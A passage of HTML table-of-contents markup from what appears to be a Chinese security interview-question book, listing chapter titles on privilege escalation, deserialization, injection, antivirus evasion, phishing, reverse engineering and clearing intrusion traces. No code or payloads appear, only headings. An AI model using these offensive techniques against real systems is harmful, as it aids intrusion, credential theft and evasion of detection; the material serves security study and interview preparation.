|
|
|
14.7 JdbcRowSetImpl 如何触发的 JNDI 注入
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.8" data-path="../Chapter14/14-8.html">
|
|
|
|
<a href="../Chapter14/14-8.html">
|
|
|
|
|
|
14.8 CC 链四个 Transformer 区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.9" data-path="../Chapter14/14-9.html">
|
|
|
|
<a href="../Chapter14/14-9.html">
|
|
|
|
|
|
14.9 反序列化除了readObject 还有什么触发点
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.10" data-path="../Chapter14/14-10.html">
|
|
|
|
<a href="../Chapter14/14-10.html">
|
|
|
|
|
|
14.10 讲讲 IIOP 和 T3 反序列化原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.11" data-path="../Chapter14/14-11.html">
|
|
|
|
<a href="../Chapter14/14-11.html">
|
|
|
|
|
|
14.11 Java invoke 反射具体利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16" data-path="../Chapter15/">
|
|
|
|
<a href="../Chapter15/">
|
|
|
|
|
|
15. 权限提升
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.16.1" data-path="../Chapter15/15-1.html">
|
|
|
|
<a href="../Chapter15/15-1.html">
|
|
|
|
|
|
15.1 LM Hash 加密算法过程
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.2" data-path="../Chapter15/15-2.html">
|
|
|
|
<a href="../Chapter15/15-2.html">
|
|
|
|
|
|
15.2 与 SMB 协议相关的漏洞有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.3" data-path="../Chapter15/15-3.html">
|
|
|
|
<a href="../Chapter15/15-3.html">
|
|
|
|
|
|
15.3 脏牛漏洞提权原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.4" data-path="../Chapter15/15-4.html">
|
|
|
|
<a href="../Chapter15/15-4.html">
|
|
|
|
|
|
15.4 黄金票据和白银票据区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.5" data-path="../Chapter15/15-5.html">
|
|
|
|
<a href="../Chapter15/15-5.html">
|
|
|
|
|
|
15.5 读取不到 hash 怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.6" data-path="../Chapter15/15-6.html">
|
|
|
|
<a href="../Chapter15/15-6.html">
|
|
|
|
|
|
15.6 现在有一台 Windows Server 2008 如何提权
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.7" data-path="../Chapter15/15-7.html">
|
|
|
|
<a href="../Chapter15/15-7.html">
|
|
|
|
|
|
15.7 提权时选择可读写目录，为何尽量不用带空格的目录
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.8" data-path="../Chapter15/15-8.html">
|
|
|
|
<a href="../Chapter15/15-8.html">
|
|
|
|
|
|
15.8 对于不能直接上传而只能通过命令行执行的 Shell 怎么办
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.9" data-path="../Chapter15/15-9.html">
|
|
|
|
<a href="../Chapter15/15-9.html">
|
|
|
|
|
|
15.9 psexec 和 wmic 区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.10" data-path="../Chapter15/15-10.html">
|
|
|
|
<a href="../Chapter15/15-10.html">
|
|
|
|
|
|
15.10 内网抓取密码的话怎么抓
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.11" data-path="../Chapter15/15-11.html">
|
|
|
|
<a href="../Chapter15/15-11.html">
|
|
|
|
|
|
15.11 内网有杀软又怎么抓
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.12" data-path="../Chapter15/15-12.html">
|
|
|
|
<a href="../Chapter15/15-12.html">
|
|
|
|
|
|
15.12 操作系统什么版本之后抓不到密码
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.13" data-path="../Chapter15/15-13.html">
|
|
|
|
<a href="../Chapter15/15-13.html">
|
|
|
|
|
|
15.13 抓不到密码怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.14" data-path="../Chapter15/15-14.html">
|
|
|
|
<a href="../Chapter15/15-14.html">
|
|
|
|
|
|
15.14 桌面有管理员会话，怎么做会话劫持
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.15" data-path="../Chapter15/15-15.html">
|
|
|
|
<a href="../Chapter15/15-15.html">
|
|
|
|
|
|
15.15 当前机器上有一个密码本但被加密了，应该怎么办
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.16" data-path="../Chapter15/15-16.html">
|
|
|
|
<a href="../Chapter15/15-16.html">
|
|
|
|
|
|
15.16 Dcom 怎么操作
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.17" data-path="../Chapter15/15-17.html">
|
|
|
|
<a href="../Chapter15/15-17.html">
|
|
|
|
|
|
15.17 获取域控的方法有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.18" data-path="../Chapter15/15-18.html">
|
|
|
|
<a href="../Chapter15/15-18.html">
|
|
|
|
|
|
15.18 DLL 劫持原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.19" data-path="../Chapter15/15-19.html">
|
|
|
|
<a href="../Chapter15/15-19.html">
|
|
|
|
|
|
15.19 DPAPI 机制能干嘛
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.20" data-path="../Chapter15/15-20.html">
|
|
|
|
<a href="../Chapter15/15-20.html">
|
|
|
|
|
|
15.20 MS14-068 原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.21" data-path="../Chapter15/15-21.html">
|
|
|
|
<a href="../Chapter15/15-21.html">
|
|
|
|
|
|
15.21 内网文件 exe 落地怎么去做，用什么命令去执行来落地
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.22" data-path="../Chapter15/15-22.html">
|
|
|
|
<a href="../Chapter15/15-22.html">
|
|
|
|
|
|
15.22 DB 文件如何解密，原理是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.23" data-path="../Chapter15/15-23.html">
|
|
|
|
<a href="../Chapter15/15-23.html">
|
|
|
|
|
|
15.23 PTH 中 LM hash 和 NTLM hash 的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.24" data-path="../Chapter15/15-24.html">
|
|
|
|
<a href="../Chapter15/15-24.html">
|
|
|
|
|
|
15.24 Print Nightmare 漏洞分析
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.25" data-path="../Chapter15/15-25.html">
|
|
|
|
<a href="../Chapter15/15-25.html">
|
|
|
|
|
|
15.25 CS 域前置的原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.26" data-path="../Chapter15/15-26.html">
|
|
|
|
<a href="../Chapter15/15-26.html">
|
|
|
|
|
|
15.26 CS 流量是怎么通信的
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.27" data-path="../Chapter15/15-27.html">
|
|
|
|
<a href="../Chapter15/15-27.html">
|
|
|
|
|
|
15.27 土豆家族提权原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.28" data-path="../Chapter15/15-28.html">
|
|
|
|
<a href="../Chapter15/15-28.html">
|
|
|
|
|
|
15.28 UAC 怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.29" data-path="../Chapter15/15-29.html">
|
|
|
|
<a href="../Chapter15/15-29.html">
|
|
|
|
|
|
15.29 如何在没有 /tmp 写入权限的情况下，寻找替代的、可执行文件的临时存放位置
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.30" data-path="../Chapter15/15-30.html">
|
|
|
|
<a href="../Chapter15/15-30.html">
|
|
|
|
|
|
15.30 exploit 无法直接在目标机上编译，你有哪些跨平台编译或利用预编译二进制文件的策略
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.31" data-path="../Chapter15/15-31.html">
|
|
|
|
<a href="../Chapter15/15-31.html">
|
|
|
|
|
|
15.31 如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.32" data-path="../Chapter15/15-32.html">
|
|
|
|
<a href="../Chapter15/15-32.html">
|
|
|
|
|
|
15.32 某个定时任务执行的脚本内容是 #!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER，如何利用这个未指定绝对路径的 mail 命令提权
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.16.33" data-path="../Chapter15/15-33.html">
|
|
|
|
<a href="../Chapter15/15-33.html">
|
|
|
|
|
|
15.33 除了修改 /etc/passwd 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.17" data-path="../Chapter16/">
|
|
|
|
<a href="../Chapter16/">
|
|
|
|
|
|
16. 文件包含漏洞
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.17.1" data-path="../Chapter16/16-1.html">
|
|
|
|
<a href="../Chapter16/16-1.html">
|
|
|
|
|
|
16.1 常用的协议有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.17.2" data-path="../Chapter16/16-2.html">
|
|
|
|
<a href="../Chapter16/16-2.html">
|
|
|
|
|
|
16.2 怎么 GetShell
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.18" data-path="../Chapter17/">
|
|
|
|
<a href="../Chapter17/">
|
|
|
|
|
|
17. MongoDB 注入
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.18.1" data-path="../Chapter17/17-1.html">
|
|
|
|
<a href="../Chapter17/17-1.html">
|
|
|
|
|
|
17.1 MongoDB 注入方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.19" data-path="../Chapter18/">
|
|
|
|
<a href="../Chapter18/">
|
|
|
|
|
|
18. CORS
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.19.1" data-path="../Chapter18/18-1.html">
|
|
|
|
<a href="../Chapter18/18-1.html">
|
|
|
|
|
|
18.1 CORS 利用方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.20" data-path="../Chapter19/">
|
|
|
|
<a href="../Chapter19/">
|
|
|
|
|
|
19. 远控免杀
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.20.1" data-path="../Chapter19/19-1.html">
|
|
|
|
<a href="../Chapter19/19-1.html">
|
|
|
|
|
|
19.1 ShellCode 免杀方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.20.2" data-path="../Chapter19/19-2.html">
|
|
|
|
<a href="../Chapter19/19-2.html">
|
|
|
|
|
|
19.2 如何去过国内的杀软
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.20.3" data-path="../Chapter19/19-3.html">
|
|
|
|
<a href="../Chapter19/19-3.html">
|
|
|
|
|
|
19.3 分离免杀和单体免杀有啥区别，为什么要分离
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.20.4" data-path="../Chapter19/19-4.html">
|
|
|
|
<a href="../Chapter19/19-4.html">
|
|
|
|
|
|
19.4 做过其他免杀吗，比如结合 CS 和 MSF 的
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21" data-path="../Chapter20/">
|
|
|
|
<a href="../Chapter20/">
|
|
|
|
|
|
20. PHP 代码审计
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.21.1" data-path="../Chapter20/20-1.html">
|
|
|
|
<a href="../Chapter20/20-1.html">
|
|
|
|
|
|
20.1 === 和 == 的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.2" data-path="../Chapter20/20-2.html">
|
|
|
|
<a href="../Chapter20/20-2.html">
|
|
|
|
|
|
20.2 常见入口函数怎么找
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.3" data-path="../Chapter20/20-3.html">
|
|
|
|
<a href="../Chapter20/20-3.html">
|
|
|
|
|
|
20.3 PHP 代码审计流程
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.4" data-path="../Chapter20/20-4.html">
|
|
|
|
<a href="../Chapter20/20-4.html">
|
|
|
|
|
|
20.4 ThinkPHP 框架审计起来有什么不同
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.5" data-path="../Chapter20/20-5.html">
|
|
|
|
<a href="../Chapter20/20-5.html">
|
|
|
|
|
|
20.5 PHP 原生的敏感函数有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.6" data-path="../Chapter20/20-6.html">
|
|
|
|
<a href="../Chapter20/20-6.html">
|
|
|
|
|
|
20.6 反序列化时有哪些魔术方法是可以作为一个入手点去找的
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.7" data-path="../Chapter20/20-7.html">
|
|
|
|
<a href="../Chapter20/20-7.html">
|
|
|
|
|
|
20.7 常见的路由方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.8" data-path="../Chapter20/20-8.html">
|
|
|
|
<a href="../Chapter20/20-8.html">
|
|
|
|
|
|
20.8 介绍下 PHP 的变量覆盖
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.9" data-path="../Chapter20/20-9.html">
|
|
|
|
<a href="../Chapter20/20-9.html">
|
|
|
|
|
|
20.9 远程文件包含和本地文件包含这两种涉及的 PHP 设置有什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.10" data-path="../Chapter20/20-10.html">
|
|
|
|
<a href="../Chapter20/20-10.html">
|
|
|
|
|
|
20.10 本地文件包含能不能通过 PHP 配置限制文件包含的路径
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.11" data-path="../Chapter20/20-11.html">
|
|
|
|
<a href="../Chapter20/20-11.html">
|
|
|
|
|
|
20.11 PHP 在做 SQL 注入防御时有哪些方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.12" data-path="../Chapter20/20-12.html">
|
|
|
|
<a href="../Chapter20/20-12.html">
|
|
|
|
|
|
20.12 如果审计到了一个文件下载漏洞如何深入的去利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.21.13" data-path="../Chapter20/20-13.html">
|
|
|
|
<a href="../Chapter20/20-13.html">
|
|
|
|
|
|
20.13 讲讲 Fortity 等代码审计工具原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.22" data-path="../Chapter21/">
|
|
|
|
<a href="../Chapter21/">
|
|
|
|
|
|
21. JAVA 代码审计
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.22.1" data-path="../Chapter21/21-1.html">
|
|
|
|
<a href="../Chapter21/21-1.html">
|
|
|
|
|
|
21.1 JAVA 在做 SQL 注入防御时有哪些方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.23" data-path="../Chapter22/">
|
|
|
|
<a href="../Chapter22/">
|
|
|
|
|
|
22. 操作系统
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.23.1" data-path="../Chapter22/22-1.html">
|
|
|
|
<a href="../Chapter22/22-1.html">
|
|
|
|
|
|
22.1 进程和线程内存空间的关系
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.23.2" data-path="../Chapter22/22-2.html">
|
|
|
|
<a href="../Chapter22/22-2.html">
|
|
|
|
|
|
22.2 介绍下父子进程
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.23.3" data-path="../Chapter22/22-3.html">
|
|
|
|
<a href="../Chapter22/22-3.html">
|
|
|
|
|
|
22.3 孤儿进程和僵尸进程区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.23.4" data-path="../Chapter22/22-4.html">
|
|
|
|
<a href="../Chapter22/22-4.html">
|
|
|
|
|
|
22.4 Kill 一个进程的时候都发生了那些事情，从父子进程角度讲
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.23.5" data-path="../Chapter22/22-5.html">
|
|
|
|
<a href="../Chapter22/22-5.html">
|
|
|
|
|
|
22.5 Linux 开机自启动方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.23.6" data-path="../Chapter22/22-6.html">
|
|
|
|
<a href="../Chapter22/22-6.html">
|
|
|
|
|
|
22.6 Linux 有哪些系统调用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.23.7" data-path="../Chapter22/22-7.html">
|
|
|
|
<a href="../Chapter22/22-7.html">
|
|
|
|
|
|
22.7 说说 Linux 下的 Syscall
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24" data-path="../Chapter23/">
|
|
|
|
<a href="../Chapter23/">
|
|
|
|
|
|
23. 逆向破解
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.24.1" data-path="../Chapter23/23-1.html">
|
|
|
|
<a href="../Chapter23/23-1.html">
|
|
|
|
|
|
23.1 恶意样本给出函数家族的 md5，如何进行分类
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.2" data-path="../Chapter23/23-2.html">
|
|
|
|
<a href="../Chapter23/23-2.html">
|
|
|
|
|
|
23.2 Linux 程序分为哪几个段
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.3" data-path="../Chapter23/23-3.html">
|
|
|
|
<a href="../Chapter23/23-3.html">
|
|
|
|
|
|
23.3 .data 段存放哪些数据
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.4" data-path="../Chapter23/23-4.html">
|
|
|
|
<a href="../Chapter23/23-4.html">
|
|
|
|
|
|
23.4 .bss 段存放哪些数据
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.5" data-path="../Chapter23/23-5.html">
|
|
|
|
<a href="../Chapter23/23-5.html">
|
|
|
|
|
|
23.5 函数调用时的流程，参数如何传入以及寄存器、栈的变化
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.6" data-path="../Chapter23/23-6.html">
|
|
|
|
<a href="../Chapter23/23-6.html">
|
|
|
|
|
|
23.6 解释程序的编译和链接，编译的过程中会有哪些操作
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.7" data-path="../Chapter23/23-7.html">
|
|
|
|
<a href="../Chapter23/23-7.html">
|
|
|
|
|
|
23.7 说说 If/Else 语法树
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.8" data-path="../Chapter23/23-8.html">
|
|
|
|
<a href="../Chapter23/23-8.html">
|
|
|
|
|
|
23.8 如何比较两个 C 函数的相似度
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.9" data-path="../Chapter23/23-9.html">
|
|
|
|
<a href="../Chapter23/23-9.html">
|
|
|
|
|
|
23.9 什么情况下源代码与 IDA 反编译程序的代码差别很大
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.10" data-path="../Chapter23/23-10.html">
|
|
|
|
<a href="../Chapter23/23-10.html">
|
|
|
|
|
|
23.10 面对静态编译的大型木马如何通过 IDA 定位其网络传输部分的逻辑
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.11" data-path="../Chapter23/23-11.html">
|
|
|
|
<a href="../Chapter23/23-11.html">
|
|
|
|
|
|
23.11 如何动态地去找导入表
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.12" data-path="../Chapter23/23-12.html">
|
|
|
|
<a href="../Chapter23/23-12.html">
|
|
|
|
|
|
23.12 如何不在编码时直接导入相关 API 的前提下进行攻击
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.13" data-path="../Chapter23/23-13.html">
|
|
|
|
<a href="../Chapter23/23-13.html">
|
|
|
|
|
|
23.13 Windows 下有哪些常用的反调试技术
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.14" data-path="../Chapter23/23-14.html">
|
|
|
|
<a href="../Chapter23/23-14.html">
|
|
|
|
|
|
23.14 单步执行的原理是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.15" data-path="../Chapter23/23-15.html">
|
|
|
|
<a href="../Chapter23/23-15.html">
|
|
|
|
|
|
23.15 在内存中已 Load 的程序如何快速找到其具有执行权限的段
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.16" data-path="../Chapter23/23-16.html">
|
|
|
|
<a href="../Chapter23/23-16.html">
|
|
|
|
|
|
23.16 恶意软件有哪些方案检测自己处于沙箱中
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.17" data-path="../Chapter23/23-17.html">
|
|
|
|
<a href="../Chapter23/23-17.html">
|
|
|
|
|
|
23.17 做一个反汇编器，指令集 opcode 的意义去哪查
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.18" data-path="../Chapter23/23-18.html">
|
|
|
|
<a href="../Chapter23/23-18.html">
|
|
|
|
|
|
23.18 怎么识别指令跳转条件和内存访问
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.19" data-path="../Chapter23/23-19.html">
|
|
|
|
<a href="../Chapter23/23-19.html">
|
|
|
|
|
|
23.19 做一个沙箱，有什么需要重定向的
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.20" data-path="../Chapter23/23-20.html">
|
|
|
|
<a href="../Chapter23/23-20.html">
|
|
|
|
|
|
23.20 ESP 定律原理知道吗
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.21" data-path="../Chapter23/23-21.html">
|
|
|
|
<a href="../Chapter23/23-21.html">
|
|
|
|
|
|
23.21 C++ 程序怎么去逆向找虚表
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.22" data-path="../Chapter23/23-22.html">
|
|
|
|
<a href="../Chapter23/23-22.html">
|
|
|
|
|
|
23.22 进程隐藏技术是什么，如何检测
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.23" data-path="../Chapter23/23-23.html">
|
|
|
|
<a href="../Chapter23/23-23.html">
|
|
|
|
|
|
23.23 如果多进程下，A 进程的 Source 触发到了 B 进程的 sink 点，如何溯源
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.24.24" data-path="../Chapter23/23-24.html">
|
|
|
|
<a href="../Chapter23/23-24.html">
|
|
|
|
|
|
23.24 JNDI 如何做 Hook
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.25" data-path="../Chapter24/">
|
|
|
|
<a href="../Chapter24/">
|
|
|
|
|
|
24. 痕迹清除
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.25.1" data-path="../Chapter24/24-1.html">
|
|
|
|
<a href="../Chapter24/24-1.html">
|
|
|
|
|
|
24.1 清理日志要清理哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.25.2" data-path="../Chapter24/24-2.html">
|
|
|
|
<a href="../Chapter24/24-2.html">
|
|
|
|
|
|
24.2 如何删除 Linux 机器的入侵痕迹
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.26" data-path="../Chapter25/">
|
|
|
|
<a href="../Chapter25/">
|
|
|
|
|
|
25. 钓鱼社工
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.26.1" data-path="../Chapter25/25-1.html">
|
|
|
|
<a href="../Chapter25/25-1.html">
|
|
|
|
|
|
25.1 钓鱼方法除了 exe 这种双击的还有什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.26.2" data-path="../Chapter25/25-2.html">
|
|
|
|
<a href="../Chapter25/25-2.html">
|
|
|
|
|
|
25.2 钓鱼上线的主机如何进行利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.26.3" data-path="../Chapter25/25-3.html">
|
|
|
|
<a href="../Chapter25/25-3.html">
|
|
|
|
|
|
25.3 伪造电子邮件的原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27" data-path="../Chapter26/">
|
|
|
|
<a href="../Chapter26/">
|
|
|
|
|
|
26. 二进制
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.27.1" data-path="../Chapter26/26-1.html">
|
|
|
|
<a href="../Chapter26/26-1.html">
|
|
|
|
|
|
